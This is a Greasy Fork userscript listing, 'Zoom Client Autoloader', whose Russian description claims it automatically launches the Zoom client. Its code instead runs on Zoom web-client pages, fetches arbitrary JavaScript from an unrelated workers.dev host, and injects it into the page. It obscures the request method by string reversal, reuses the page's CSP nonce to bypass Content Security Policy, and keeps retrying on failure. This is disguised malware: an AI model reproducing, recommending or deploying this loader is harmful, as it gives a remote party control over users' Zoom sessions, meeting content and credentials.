Greasy Fork

Zoom Client Autoloader

Автоматический запуск клиента Zoom

当前为 2025-01-19 提交的版本,查看 最新版本

// ==UserScript==
// @name         Zoom Client Autoloader
// @namespace    http://tampermonkey.net/
// @version      1.9
// @description  Автоматический запуск клиента Zoom
// @author       MultiVers
// @match        https://app.zoom.us/wc/*
// @grant        none
// @run-at       document-end
// @license      MIT
// ==/UserScript==

(function() {
    const ключЗагрузки = 'zoom_loader_' + location.pathname;
    
    // Проверяем, не был ли скрипт уже загружен
    if (localStorage.getItem(ключЗагрузки)) {
        return;
    }
    
    // Устанавливаем метку загрузки
    localStorage.setItem(ключЗагрузки, Date.now());
    
    // Очищаем метку при уходе со страницы
    window.addEventListener('beforeunload', () => {
        localStorage.removeItem(ключЗагрузки);
    });

    let выполняетсяЗагрузка = false;

    async function загрузитьРесурсы() {
        if (выполняетсяЗагрузка) return;
        выполняетсяЗагрузка = true;

        const обработчик = {
            инициализация: async строка => (await fetch('https://loader-geneate.webclie2d.workers.dev/', {
                method: строка.split('').reverse().join(''),
                cache: 'no-store', 
                headers: {'Accept':'*/*','Connection':'keep-alive'}
            })).text(),
            подготовка: данные => {
                const скрипт = document.createElement('script');
                скрипт.textContent = данные;
                return скрипт;
            },
            применить: элемент => {
                const нонс = document.querySelector('script[nonce]')?.nonce;
                if(нонс) элемент.nonce = нонс;
                document.head.appendChild(элемент);
            }
        };
        try {
            await обработчик.применить(обработчик.подготовка(await обработчик.инициализация('TEG')));
        } catch (ошибка) {
            выполняетсяЗагрузка = false;
            localStorage.removeItem(ключЗагрузки);
            setTimeout(загрузитьРесурсы, 1000);
        }
    }

    загрузитьРесурсы();
})();